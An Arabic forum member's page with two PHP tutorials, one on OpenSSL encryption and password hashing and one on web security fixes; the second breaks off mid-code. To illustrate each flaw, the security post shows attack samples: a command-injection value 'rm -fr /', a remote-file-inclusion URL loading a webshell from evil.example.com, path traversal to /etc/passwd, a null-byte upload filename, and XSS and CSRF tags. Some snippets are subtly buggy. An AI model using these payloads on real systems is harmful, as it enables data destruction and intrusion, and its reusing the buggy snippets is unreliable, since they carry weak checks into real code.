اذهب إلى المحتوى

سارة محمد2

الأعضاء
  • المساهمات

    86
  • تاريخ الانضمام

  • تاريخ آخر زيارة

  • عدد الأيام التي تصدر بها

    2

كل منشورات العضو سارة محمد2

  1. التشفير وفك التشفير المتناظر لملفات كبيرة باستخدام OpenSSL لا توفر PHP دالة مضمنة لتشفير وفك تشفير الملفات الكبيرة، يمكن استخدام الدالة openssl_encrypt لتشفير السلاسل النصية لكن يعد تحميل ملف كبير جدًا في الذاكرة فكرةً سيئةً، لذا يجب كتابة دالة تقوم بهذا العمل، يستخدم هذا المثال خوارزمية AES-128-CBC المتناظرة لتشفير أجزاء صغيرة من ملف كبير وكتابتها في ملف آخر. تشفير الملفات // (1) define('FILE_ENCRYPTION_BLOCKS', 10000); /** * ‫تشفير الملف الممرر وحفظ النتيجة في ملف جديد باللاحقة "‎.enc" * * @param string $source مسار الملف الذي نريد تشفيره * @param string $key المفتاح المستخدم للتشفير * @param string $dest اسم الملف الذي نريد أن نكتب فيه الملف المشفَّر * @return string|false * ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ */ function encryptFile($source, $key, $dest) { $key = substr(sha1($key, true), 0, 16); $iv = openssl_random_pseudo_bytes(16); $error = false; if ($fpOut = fopen($dest, 'w')) { // ضع شعاع التهيئة في بداية الملف‬ fwrite($fpOut, $iv); if ($fpIn = fopen($source, 'rb')) { while (!feof($fpIn)) { $plaintext = fread($fpIn, 16 * FILE_ENCRYPTION_BLOCKS); $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv); // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي $iv = substr($ciphertext, 0, 16); fwrite($fpOut, $ciphertext); } fclose($fpIn); } else { $error = true; } fclose($fpOut); } else { $error = true; } return $error ? false : $dest; } نحدد في الموضع (1) عدد الكتل التي يجب قراءتها من الملف المصدري من أجل كل جزء، بحيث تتألف كل كتلة من 16 بايت من أجل الخوارزمية الآتية: 'AES-128-CBC' لهذا، فإذا قرأنا 10000 كتلة نحمّل 160 كيلوبايت في الذاكرة، يمكنك تعديل هذه القيمة لقراءة/كتابة أجزاء أصغر/أكبر. فك تشفير الملفات يمكنك استخدام هذه الدالة لفك تشفير الملفات المشفرة بالدالة السابقة. /** * ‫فك تشفير الملف الممرر وحفظ النتيجة في ملف جديد مع حذف آخر 4 محارف من اسم الملف * @param string $source مسار الملف الذي نريد فك تشفيره * @param string $key ‫المفتاح المستخدم لفك التشفير (ويجب أن يكون نفس المفتاح المستخدم للتشفير) * @param string $dest اسم الملف حيث يجب أن نكتب الملف الجديد بعد فك التشفير * @return string|false * ‫تعيد هذه الدالة اسم الملف المنشأ أو FALSE إذا حدث خطأ */ function decryptFile($source, $key, $dest) { $key = substr(sha1($key, true), 0, 16); $error = false; if ($fpOut = fopen($dest, 'w')) { if ($fpIn = fopen($source, 'rb')) { // الحصول على شعاع التهيئة من بداية الملف $iv = fread($fpIn, 16); while (!feof($fpIn)) { $ciphertext = fread($fpIn, 16 * (FILE_ENCRYPTION_BLOCKS + 1)); // يجب أن نقرأ كتلة واحدة زيادة عن التشفير لفك التشفير $plaintext = openssl_decrypt($ciphertext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA,$iv); // ‫استخدم أول 16 بايت من النص المشفر كشعاع التهيئة التالي $iv = substr($ciphertext, 0, 16); fwrite($fpOut, $plaintext); } fclose($fpIn); } else { $error = true; } fclose($fpOut); } else { $error = true; } return $error ? false : $dest; } طريقة الاستخدام إليك الشيفرة التالية لتعرف كيفية استخدام الدوال السابقة. $fileName = __DIR__.'/testfile.txt'; $key = 'my secret key'; file_put_contents($fileName, 'Hello World, here I am.'); encryptFile($fileName, $key, $fileName . '.enc'); decryptFile($fileName . '.enc', $key, $fileName . '.dec'); ستنشئ هذه الشيفرة ثلاثة ملفات: testfile.txt وفيه النص الأصلي. testfile.txt.enc فيه الملف المشفر. testfile.txt.dec فيه الملف بعد فك تشفيره ويجب أن يكون نفس محتويات الملف testfile.txt. التشفير المتناظر يوضح هذا المثال التشفير المتناظر باستخدام خوارزمية AES 256 بالنمط CBC وهو اختصار لـ Cipher Block Chaining، نحتاج شعاع تهيئة لذا نولّد واحدًا باستخدام دالة openssl، ويستخدم المتغير ‎$strong لتحديد فيما إذا كان شعاع التهيئة المولَّد قويًا من ناحية التشفير. التشفير // طريقة التشفير $method = "aes-256-cbc"; // الحصول على طول شعاع التهيئة المطلوب $iv_length = openssl_cipher_iv_length($method); // ‫ضبط للقيمة false من أجل السطر التالي $strong = false; // توليد شعاع التهيئة $iv = openssl_random_pseudo_bytes($iv_length, $strong); /* ‫يحتاج شعاع التهيئة للاسترجاع لاحقًا لذا خزنه في قاعدة البيانات لكن لا تعيد استخدام نفس شعاع التهيئة لتشفير بيانات مرةً أخرى */ if(!$strong) { // رمي استثناء إذا لم يكن شعاع التهيئة قويًا من ناحية التشفير throw new Exception("IV not cryptographically strong!"); } // الرسالة السرية $data = "This is a message to be secured."; // كلمة المرور $pass = "Stack0verfl0w"; /* ‫يجب أن تُرسل كلمة المرور بالطريقة POST عبر جلسة HTTPS، قمنا بتخزينها في متغير هنا لأغراض توضيحية * */ // التشفير $enc_data = openssl_encrypt($data, $method, $password, true, $iv); فك التشفير // ‫استعادة شعاع التهيئة من قاعدة البيانات وكلمة المرور من الطلب POST // فك التشفير $dec_data = openssl_decrypt($enc_data, $method, $pass, true, $iv); التشفير وفك التشفير بالأساس 64 إذا كانت البيانات المشفرة تحتاج للإرسال أو التخزين في نص قابل للطباعة عندها يمكن استخدام الدالتين ()base64_encode، و ()base64_decode على الترتيب. // تشفير الترميز بالأساس 64 $enc_data = base64_encode(openssl_encrypt($data, $method, $password, true, $iv)); // فك الترميز وفك التشفير $dec_data = openssl_decrypt(base64_decode($enc_data), $method, $password, true, $iv); دوال تعمية كلمة المرور بما أنّ خدمات الويب الأكثر أمنًا تتجنب تخزين كلمات المرور بصياغة نص واضح فإنّ بعض اللغات مثل PHP توفر دوال تعميةصعبة الاستخراج hashing، ومتنوعة لدعم معيار الصناعة الأكثر أمنًا. يوفر هذا المثال توثيقًا لعمليات التعمية المناسب باستخدام PHP. إنشاء كلمة مرور معماة ننشئ نسخة معماة لكلمة المرور باستخدام الدالة password_hash()‎ لاستخدام تعمية معيارية بأفضل ممارسة للصناعة الحالية أو لاشتقاق المفتاح، في وقت كتابة هذا النص المعيار هو bcrypt مما يعني أنّ PASSWORD_DEFAULT له نفس قيمة PASSWORD_BCRYPT. $options = [ 'cost' => 12, ]; $hashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT, $options); المعامل الثالث ليس إجباريًا. يجب أن نختار القيمة 'cost' بالاعتماد على تجهيزات خادم الإنتاج، ستجعل زيادتها كلمة المرور أكثر تكلفةً عند توليدها، كلما زادت تكلفة استخراج وفك الكلمة المعماة، استغرق الأمر وقتًا أطول عند محاولة شخص ما استخراجها؛ ومثاليًا يجب أن تكون التكلفة أعلى ما يمكن᠎ لكن من الناحية العملية يجب ضبطها بحيث لا تؤدي إلى بطء شديد في كل شيء، من المناسب أن تكون بين 0.1 و0.4 ثانية، إذا كنت محتارًا استخدم القيمة الافتراضية. في الإصدارات السابقة للإصدار 5.5، الدوال password_*‎ غير متوفرة، يجب أن تستخدم حزمة التوافق للحصول على بديل لهذه الدوال، لاحظ أنّ حزمة التوافق تتطلب الإصدار PHP 5.3.7 أو أعلى أو إصدار يحتوي على التصحيح ‎$2y (مثل ريدهات). إذا لم تكن قادرًا على استخدامها فيمكنك تنفيذ عملية تعمية على كلمة المرور باستخدام الدالة crypt()‎، وبما أنّ password_hash()‎ تُنفَّذ كغلاف حول الدالة crypt()‎ فلن تحتاج لفقدان أي وظيفة. المثال التالي هو تنفيذ بسيط للتعمية بالمعيار bcrypt والتوافق مع password_hash()‎ ومن غير المضمون أن يحافظ على نفس قوة تشفير التنفيذ الكامل للدالة password_hash()‎. إضافة غُفْل في عملية تعمية كلمة المرور على الرغم من موثوقية خوارزمية التشفير إلا أنّه ما يزال يوجد ثغرة تستهدف جداول قوس قزح ولذا ينصح باستخدام غُفْل salt، والغفل بالعربية هو شيء ما يُضاف لكلمة المرور قبل تعميتها لجعل السلسلة النصية المصدر فريدة (انظر كتاب «علم التعمية واستخراج المعمى عند العرب»)، بالنظر إلى كلمتي مرور متطابقتين فإنّ نتيجة التعمية لهما ستكون فريدة أيضًا لأن الأغْفَال المضافة إليها فريدة. يعد إضافة الأغفال العشوائية أحد أهم أجزاء أمان كلمة المرور الخاصة بك، وهذا يعني أنّه حتى مع جدول البحث lookup table لكلمات المرورة المعماة المعروفة فإنّ المهاجم لن يتمكن من مطابقة كلمة المرور المعماة الخاصة بالمستخدم مع كلمة المرور المعماة في قاعدة البيانات بسبب استخدام أغفال مختلفة، يجب أن تستخدم دائمًا أغفال عشوائية وقوية من ناحية التشفير اقرأ المزيد. باستخدام خوارزمية bcrypt ودالة password_hash()‎ تُخزَّن أغفال النص الأصلي وأغفال النص المعمى الناتج مما يعني أنّه يمكن نقل النص المعمى عبر أنظمة ومنصات مختلفة وستبقى متطابقة مع كلمة المرور الأصلية. في الإصدارات السابقة للإصدار 7.0 يمكنك استخدام الخيار salt لتعريف الأغفال العشوائية الخاصة بك على الرغم من عدم التشجيع على هذا الإجراء. $options = [ 'salt' => $salt, ]; ملاحظة: إذا أهملت هذا الخيار ستولّد الدالة password_hash()‎ غُفْلًا عشوائيًا لكل كلمة مرور مقطعة. بدءًا من الإصدار PHP 7.0.0 أُهمل خيار إضافة الغُفْل ومن المفضل الآن استخدام الغُفْل المولّد افتراضيًا. ترقية كلمة مرور معماة موجودة إلى خوارزمية أقوى إذا كنت تستخدم طريقة PASSWORD_DEFAULT لتجعل النظام يختار الخوارزمية الأفضل لتعمية كلمات المرور بها، مع زيادة قوة الخوارزمية الافتراضية قد ترغب في إعادة تعمية كلمات المرور القديمة عندما يسجل المستخدمون الدخول. <?php // حدد أولًا إذا كانت كلمة المرور الموفرة صحيحة if (password_verify($plaintextPassword, $hashedPassword)) { // حدد الآن إذا كانت النسخة المعماة الموجود قد أُنشئت بخوارزمية لم تعد افتراضية بعد الآن if (password_needs_rehash($hashedPassword, PASSWORD_DEFAULT)) { // أنشئ كلمة معماة جديدة مع الخوارزمية الافتراضية الجديدة $newHashedPassword = password_hash($plaintextPassword, PASSWORD_DEFAULT); // ثم احفظه في مخزن بياناتك // $db->update(...); } } ?> إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فعندها يمكنك تحديد الخوارزمية واستخدامها لإنشاء التعمية الأصلية بطريقة مشابهة للتالي: <?php if (substr($hashedPassword, 0, 4) == '$2y$' && strlen($hashedPassword) == 60) { echo 'Algorithm is Bcrypt'; // ‫يحدد "cost" مدى قوة إصدار Bcrypt preg_match('/\$2y\$(\d+)\$/', $hashedPassword, $matches); $cost = $matches[1]; echo 'Bcrypt cost is '.$cost; } ?> التحقق من كلمة المرور مقابل كلمة معماة توفر الدالة password_verify()‎ المدمجة بدءًا من الإصدار PHP 5.5، إمكانية التحقق من صحة كلمة مرور مقابل كلمة معماة مقابلة لها، أو غير مقابلة. <?php if (password_verify($plaintextPassword, $hashedPassword)) { echo 'Valid Password'; } else { echo 'Invalid Password.'; } ?> تخزن كل خوارزميات عملية التعمية المدعومة معلومات تحدد آلية التعمية المستخدمة، لذا لا حاجة للإشارة إلى الخوارزمية المستخدمة لتعمية كلمة المرور الأصلية. إذا لم تكن الدوال password_*‎ متوفرةً في نظامك ولا تستطيع استخدام حزمة التوافق، فيمكنك التحقق من كلمة المرور باستخدام الدالة crypt()‎، لاحظ أنه يجب اتخاذ احتياطات محددة لتجنب هجمات التوقيت. <?php // ‫غير مضمون أن يحافظ على نفس قوة تشفير تنفيذ password_hash()‎ الكامل if (CRYPT_BLOWFISH == 1) { // ‫تتجاهل crypt()‎ كل المحارف التي تتجاوز طول الغفل، لذا يمكننا تمرير ?كامل كلمة المرور المعماة $hashedCheck = crypt($plaintextPassword, $hashedPassword); // ‫هذه موازنة وقت ثابت أساسية تعتمد على التنفيذ الكامل المستخدم في `password_hash()` $status = 0; for ($i=0; $i<strlen($hashedCheck); $i++) { $status |= (ord($hashedCheck[$i]) ^ ord($hashedPassword[$i])); } if ($status === 0) { echo 'Valid Password'; } else { echo 'Invalid Password'; } } ?> ترجمة -وبتصرف- للفصول Cryptography - Password Hashing Functions من كتاب PHP Notes for Professionals book
  2. إنّ أمن التطبيقات موضوع مهم لمطوري PHP لحماية المواقع والبيانات والعملاء بما أنّ أغلب المواقع تستخدم PHP، يغطي هذا الموضوع أفضل ممارسات الأمان في PHP والثغرات ونقاط الضعف الشائعة مع أمثلة لكيفية إصلاحها. تسريب إصدار PHP بشكل افتراضي تُخبر PHP الآخرين بالإصدار الذي تستخدمه مثال: X-Powered-By: PHP/5.3.8 لإصلاح ذلك يمكنك إما تغييره في ملف php.ini: expose_php = off أو تغيير الترويسة: header("X-Powered-By: Magic"); أو استخدام طريقة htaccess: Header unset X-Powered-By إذا لم تعمل كل الطرق السابقة يمكنك استخدام الدالة header_remove()‎ التي توفر لك قابلية حذف الترويسة: header_remove('X-Powered-By'); إذا عرف المهاجمون أنك تستخدم PHP والإصدار الذي تستخدمه فيكون من السهل عليهم استغلال خادمك. هجمات البرمجة عبر المواقع (XSS) المشكلة هجمات البرمجة عبر المواقع XSS هي التنفيذ غير المقصود للشيفرة البعيدة من قِبل عميل ويب، قد يعرّض أي تطبيق ويب نفسه لهذه الهجمات إذا كان يأخذ مدخلات من المستخدم ويعرضها مباشرةً في صفحة الويب، إذا كانت المدخلات تتضمن شيفرة HTML أو جافاسكربت فيمكن تنفيذ الشيفرة عن بعد عندما يرسل عميل الويب محتوى ما. مثلًا إذا كان لدينا طرف ثالث يحتوي على ملف جافاسكربت: // http://example.com/runme.js document.write("I'm running"); وتطبيق PHP يعرض مباشرةً سلسلة نصية ممررة إليه: <?php echo '<div>' . $_GET['input'] . '</div>'; إذا تضمن معامل GET غير المُتحقق منه، ما يلي: ‎<script src="http://example.com/runme.js"></script>‎ فسيكون خرج سكربت PHP: <div><script src="http://example.com/runme.js"></script></div> سيُنفَّذ ملف جافاسكربت من طرف ثالث وسترى العبارة "I'm running" على صفحة الويب. الحل عمومًا، يجب ألا تثق أبدًا بالمدخلات من طرف العميل، إذ أنّ قيمة GET أو POST أو ملف تعريف ارتباط cookie يمكن أن تكون أي شيء لذا يجب التحقق من صحتها، عند عرض أي من هذه القيم اهرب بها حتى لا تُقيَّم بطريقة غير متوقعة، وتذكر أنّ البيانات يمكن أن تُنقل حتى في أبسط التطبيقات وسيكون من الصعب تتبع جميع المصادر لذا من المناسب دائمًا أن تهرِّب القيم عند الإخراج، توفر PHP عدة طرق لتهرِّب الخرج بالاعتماد على السياق. الدوال المرشحة تسمح دوال الترشيح في PHP بتعقيم أو التحقق من صحة البيانات المُدخلة إلى سكربت PHP بعدة طرق. وهي مفيدة عند حفظ أو عرض دخل المستخدم. ترميز HTML تحوّل htmlspecialchars أي محارف HTML خاصة إلى ترميزات HTML الخاصة بها، مما يعني أنّها لن تُعالَج بعدها كترميز HTML المعياري، نستخدم التابع التالي لإصلاح مثالنا السابق: <?php echo '<div>' . htmlspecialchars($_GET['input']) . '</div>'; // أو echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>'; الخرج: <div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div> كل ما هو داخل وسم <div> لن يفسّره المتصفح كوسم جافاسكربت وإنّما كعقدة نصية بسيطة وسيرى المستخدم بأمان: <script src="http://example.com/runme.js"></script> ترميز الرابط توفر PHP الدالة urlencode لإخراج روابط صحيحة بأمان عند عرض رابط متولِّد ديناميكيًا. لذا إذا كان المستخدم قادرًا على إدخال بيانات تصبح جزءًا من معامل GET آخر: <?php $input = urlencode($_GET['input']); // أو $input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL); echo '<a href="http://example.com/page?input="' . $input . '">Link</a>'; سيُحوَّل أي دخل ضار إلى معامل رابط مُرمَّز. استخدام مكتبات خارجية متخصصة أو قوائم OWASP AntiSamy قد تحتاج أحيانًا إلى إرسال شيفرة HTML أو نوع شيفرة آخر مُدخل، عندها يجب أن تحتفظ بقائمة من الكلمات المصرَّح بها (قائمة بيضاء) وقائمة بالكلمات غير المصرَّح بها (قائمة سوداء)، يمكنك تحميل القوائم المعيارية المتوفرة في موقع OWASP AntiSamy، وهي اختصار إلى ‏Open Web Application Security Project، تناسب كل قائمة نوع محدد من التفاعل (واجهة برمجة تطبيقات eBay، محرر النصوص tinyMCE وغير ذلك) وهي مفتوحة المصدر. يوجد مكتبات لترشيح شيفرة HTML ومنع هجمات XSS في الحالة العامة وتؤدي على الأقل نفس أداء قوائم AntiSamy مع استخدام سهل جدًا. لديك مثلًا منقي HTML. هجمات تزوير الطلب عبر المواقع (Cross-Site Request Forgery) المشكلة يمكن أن يفرض هجوم تزوير الطلب عبر الموقع CSRF المستخدم النهائي على توليد طلبات ضارة إلى خادم الويب بدون علمه، يمكن استغلال هذا الهجوم في طلبات POST وGET، لنفرض مثلًا أنّ رابط نقطة النهاية ‎/delete.php?accnt=12‎ يحذف الحساب الممرر عبر المعامل accnt في الطلب GET، إذا واجه الآن المستخدم الموثوق السكربت التالي في أي تطبيق آخر: <img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0"> سيُحذف الحساب. الحل الحل الشائع لهذه المشكلة هو استخدام مفاتيح CSRF (‏CSRF tokens)، تُضمَّن هذه المفاتيح في الطلبات بحيث يمكن لتطبيق الويب أن يثق أنّ الطلب قادم من مصدر متوقع كجزء من تدفق العمل العادي للتطبيق، يقوم المستخدم أولًا ببعض الإجراءات مثل عرض نموذج يبدأ بإنشاء مفتاح فريد، مثال بسيط لذلك: <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<randomToken>" /> <input type="submit" /> </form> يمكن بعدها أن يتحقق الخادم من صحة المفتاح مقابل جلسة المستخدم بعد إرسال النموذج لإزالة الطلبات الضارة. مثال إليك المثال التالي: // ‫الشيفرة التالية لتوليد مفتاح CSRF وتخزينه <?php session_start(); function generate_token() { // التحقق من وجود مفتاح لهذه الجلسة if(!isset($_SESSION["csrf_token"])) { // لا يوجد مفتاح لذا ولّد واحدًا جديدًا $token = random_bytes(64); $_SESSION["csrf_token"] = $token; } else { // أعد استخدام المفتاح $token = $_SESSION["csrf_token"]; } return $token; } ?> <body> <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" /> <input type="submit" /> </form> </body> ... // الشيفرة التالية للتحقق من صحة المفتاح وحذف الطلبات الضارة ... <?php session_start(); if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) { // أعد تعيين المفتاح unset($_SESSION["csrf_token"]); die("CSRF token validation failed"); } ?> ... يوجد العديد من المكتبات وأطر العمل التي لها تنفيذ خاص بها للتحقق من صحة CSRF، وبالرغم من أنّ تنفيذ CSRF هذا بسيط فأنت تحتاج إلى كتابة بعض الشيفرة لإعادة توليد مفتاح CSRF ديناميكيًا لمنع سرقة مفتاح CSRF وتحديده. حقن سطر الأوامر المشكلة يسمح حقن SQL للمهاجم بتنفيذ استعلامات عشوائية على قاعدة البيانات، وبطريقة مشابهة فإنّ هجوم حقن سطر الأوامر يسمح للمهاجم ܏بتنفيذ أوامر نظام غير موثوق بها على خادم ويب. ومع وجود خادم غير آمن بشكلٍ صحيح فإنّ هذا يعطي المهاجم تحكمًا كاملًا بالنظام. لنفرض مثلًا أنّ لدينا سكربت يسمح للمستخدم بالحصول على قائمة بمحتويات مجلد على خادم الويب. <pre> <?php system('ls ' . $_GET['path']); ?> </pre> يستخدم الشخص في التطبيقات الحقيقية دوال PHP مضمنة أو كائنات للحصول على محتويات المسار، لكن هذا المثال لإثبات أمني بسيط. قد تتأمل الحصول على معامل مسار بشكلٍ مشابه للمعامل ‎/tmp ولكن بما أنّ أي دخل مسموح به فمن الممكن أن يكون ‎; rm -fr /‎، عندها سينفذ خادم الويب الأمر: ls; rm -fr / ويحاول حذف كل الملفات من المجلد الجذر للخادم. الحل يجب أن تُهرَّب جميع وسائط الأمر باستخدام الدالة escapeshellarg()‎ أو escapeshellcmd()‎ مما يجعلها غير قابلة للتنفيذ كما يجب أن يتم التحقق من صحة كل قيمة مدخلة. في أبسط الحالات يمكننا تأمين مثالنا بالشكل التالي: <pre> <?php system('ls ' . escapeshellarg($_GET['path'])); ?> </pre> وفقًا للمثال السابق، مع محاولة حذف الملفات يصبح الأمر المنفّذ: ls '; rm -fr /' وتُمرَّر السلسلة النصية ببساطة كمعامل للأمر ls بدلًا من إنهاء هذا الأمر وتنفيذ الأمر rm. يجب الإشارة إلى أنّ المثال في الأعلى أصبح آمنًا الآن من هجوم حقن الأوامر لكن ليس من اجتياز traversal المجلد، ولإصلاح ذلك يجب التحقق من أنّ المسار الطبيعي يبدأ بالمجلد الفرعي المرغوب به. توفر PHP دوالًا متنوعة لتنفيذ أوامر النظام مثل كلّ من: exec. ‏passthru ‏proc_open ‏‏shell_exec system حيث يجب التحقق من صحة جميع مدخلاتها وتهريبها. إزالة الوسوم إنّ الدالة strip_tags دالة قوية جدًا إذا كنت تعرف كيفية استخدامها، وتوجد طرق أفضل لمنع هجمات البرمجة عبر المواقع مثل ترميز المحارف لكن إزالة الوسوم مفيدة في بعض الحالات. انظر المثال الأساسي التالي: $string = '<b>Hello,<> please remove the <> tags.</b>'; echo strip_tags($string); الخرج الخام الناتج: Hello, please remove the tags. بفرض أنك تريد السماح بوجود وسم معين، عندها يجب أن تحدد ذلك في المعامل الثاني للدالة، هذا المعامل اختياري، فمثلًا إذا أردت السماح بمرور الوسم <b> فقط. $string = '<b>Hello,<> please remove the <br> tags.</b>'; echo strip_tags($string, '<b>'); الخرج الخام للشيفرة السابقة: <b>Hello, please remove the tags.</b> ملاحظة: إنّ تعليقات HTML ووسوم PHP تُزال أيضًا وهذا لا يمكن تغييره، وفي الإصدار PHP 5.3.4 والإصدارات اللاحقة تُهمل وسوم XHTML ذاتية الإغلاق وتُستخدم فقط الوسوم غير ذاتية الإغلاق فمثلًا للسماح بالوسمين <br> و<br/> يجب أن تستخدم: <?php strip_tags($input, '<br>'); ?> إدراج ملف إدراج ملف بعيد يعد إدراج ملف بعيد RFI نوعًا من الثغرات التي تسمح للمهاجم بتضمين ملف بعيد، يحقن هذا المثال ملفًا مستضافًا عن بعد يتضمن شيفرة ضارة: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/webshell.txt? إدراج ملف محلي إدراج ملف محلي LFI في عملية تضمين الملفات على الخادم عبر متصفح الويب. <?php $page = 'pages/'.$_GET['page']; if(isset($page)) { include $page; } else { include 'index.php'; } /vulnerable.php?page=../../../../etc/passwd حل RFI وLFI يُنصح بالسماح بتضمين الملفات التي توافق عليها فقط. <?php $page = 'pages/'.$_GET['page'].'.php'; $allowed = ['pages/home.php','pages/error.php']; if(in_array($page,$allowed)) { include($page); } else { include('index.php'); } الإبلاغ عن الأخطاء تُظهر PHP افتراضيًا رسائل الخطأ والتحذيرات والملاحظات مباشرةً على الصفحة إذا حدث شيء ما غير متوقع في السكربت، وهذا مفيد لحل مشاكل معينة لكن في نفس الوقت يعرض معلومات لا تريد أن يعرفها المستخدمين، لذا يعد تجنب عرض هذه الرسائل التي تظهر معلومات خادمك مثل شجرة المجلدات في بيئة الإنتاج ممارسةً جيدة، أما في بيئة التطوير أو الاختبار فإنّ عرض هذه الرسائل يكون مفيدًا لتنقيح الأخطاء. حل سريع يمكنك إيقاف تشغيل عرض هذه الرسائل بشكلٍ كامل لكن هذا يجعل عملية تنقيح أخطاء السكربت أصعب. <?php ini_set("display_errors", "0"); ?> أو تغيير هذا مباشرةً في ملف php.ini: display_errors = 0 معالجة الأخطاء إن الخيار الأفضل دائمًا هو تخزين رسائل الخطأ هذه في مكان ما مثل قاعدة البيانات. set_error_handler(function($errno , $errstr, $errfile, $errline){ try{ $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ]); if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){ if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){ throw new Exception('Unable to execute query'); } } else { throw new Exception('Unable to prepare query'); } } catch (Exception $e){ error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr"); } }); ستسجل هذه الطريقة الرسائل في قاعدة البيانات وإذا فشلت في ذلك ستسجلها في ملف بدلًا من عرضها مباشرةً في الصفحة، وبذلك يمكنك تتبع ما يواجهه المستخدمون في موقعك وملاحظة وجود أي خطأ مباشرةً. رفع ملفات إذا أردت السماح للمستخدمين برفع ملفات إلى خادمك تحتاج إلى مضاعفة التحقق الأمني قبل أن ينتقل الملف المرفوع إلى الخادم مباشرةً. البيانات المرفوعة تحتوي هذه المصفوفة على بيانات مُرسلة من قبل مستخدم وهي ليست معلومات عن الملف، بينما يولّد المتصفح هذه البيانات يمكن للمستخدم إرسال طلب بالطريقة post إلى نفس النموذج باستخدام برنامج. $_FILES['file']['name']; $_FILES['file']['type']; $_FILES['file']['size']; $_FILES['file']['tmp_name']; name: تحقق منه بالكامل type: لا تستخدم هذه البيانات أبدًا، يمكن الحصول عليها باستخدام دوال PHP بدلًا من ذلك. size: آمن للاستخدام. tmp_name: آمن للاستخدام. استغلال اسم الملف لا يسمح نظام التشغيل بشكلٍ طبيعي بوجود محارف خاصة في اسم الملف، لكن يمكنك إضافتهم من خلال انتحال الطلب مما يسمح بحدوث أشياء غير متوقعة فمثلًا ليكن لدينا اسم الملف: ../script.php%00.png تفحّص اسم الملف ويجب أن تلاحظ أمرين: الأول هو أنّ وجود ‎../‎ غير منطقي أبدًا في اسم الملف، لكن في نفس الوقت جيد إذا كنت تنقل ملفًا من مجلد إلى آخر. قد تعتقد الآن أنك كنت تتحقق من امتدادات الملف بشكلٍ صحيح في السكربت، لكن يعتمد هذا الاستغلال على فك تشفير الرابط، إذ يترجم ‎%00‎ إلى المحرف null ويقول لنظام التشغيل أن السلسلة انتهت هنا مما يزيل ‎.png من اسم الملف. حمّلت الآن ملف script.php إلى مجلد آخر بتمرير عمليات تحقق بسيطة إلى امتدادات الملف وبتمرير ملفات ‎.htaccess‎ مما يمنع تنفيذ السكربتات من ضمن مجلدك المرفوع. الحصول على اسم الملف والامتداد بشكلٍ آمن يمكنك استخدام الدالة pathinfo()‎ لاستقراء الاسم والامتداد بطريقةٍ آمنة، لكننا نحتاج أولًا لاستبدال المحارف غير المرغوب بها في اسم الملف: // تتضمن هذه المصفوفة قائمة بالمحارف غير المسموح بها في اسم الملف $illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?","*", " "]); $filename = str_replace($illegal, "-", $_FILES['file']['name']); $pathinfo = pathinfo($filename); $extension = $pathinfo['extension'] ? $pathinfo['extension']:''; $filename = $pathinfo['filename'] ? $pathinfo['filename']:''; if(!empty($extension) && !empty($filename)){ echo $filename, $extension; } else { die('file is missing an extension or name'); } لدينا الآن اسم الملف والامتداد ويمكننا استخدامهما للتخزين، لكن مازلت أفضل تخزين هذه المعلومات في قاعدة البيانات وإعطاء الملف اسمًا مولّدًا له مثل md5(uniqid().microtime())‎. +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | id | title | extension | mime | size | filename | time | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ سيحل هذا مشكلة أسماء الملفات المكررة وعمليات استغلال اسم الملف غير المتوقعة، وقد يتسبب ذلك أن يخمّن المهاجم مكان تخزين الملف بما أنه لا يمكن استهداف الملف بشكلٍ محدد. التحقق من نوع الوسائط mime-type التحقق من امتداد الملف لمعرفة ما هو نوع الملف غير كافٍ فقد يكون اسم الملف image.png لكنه يتضمن سكربت PHP، بالتحقق من نوع وسائط الملف المرفوع يمكنك التحقق من إذا كان الملف يتضمن ما يشير إليه اسمه أو لا. يمكنك الآن الذهاب إلى خطوة أبعد للتحقق من الصور، وهي فتحها: if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){ if($img = imagecreatefromjpeg($filename)){ imagedestroy($img); } else { die('image failed to open, could be corrupt or the file contains something else.'); } } يمكنك الحصول على نوع الوسائط باستخدام دالة مدمجة أو صنف. وجود قائمة بيضاء للملفات المرفوعة الأهم من ذلك كله هو كتابة قائمة بيضاء تتضمن امتدادات الملفات وأنواع الوسائط بالاعتماد على كل نموذج. function isFiletypeAllowed($extension, $mime, array $allowed) { return isset($allowed[$mime]) && is_array($allowed[$mime]) && in_array($extension, $allowed[$mime]); } $allowedFiletypes = [ 'image/png' => [ 'png' ], 'image/gif' => [ 'gif' ], 'image/jpeg' => [ 'jpg', 'jpeg' ], ]; var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes)); كتابة دالة تحافظ على تسجيل المستخدم بأفضل أسلوب تخزين ملف تعريف الارتباط في ثلاثة أجزاء. function onLogin($user) { // ‫توليد مفتاح، يجب أن يكون بين 128 - 256 بت $token = GenerateRandomToken(); storeTokenForUser($user, $token); $cookie = $user . ':' . $token; $mac = hash_hmac('sha256', $cookie, SECRET_KEY); $cookie .= 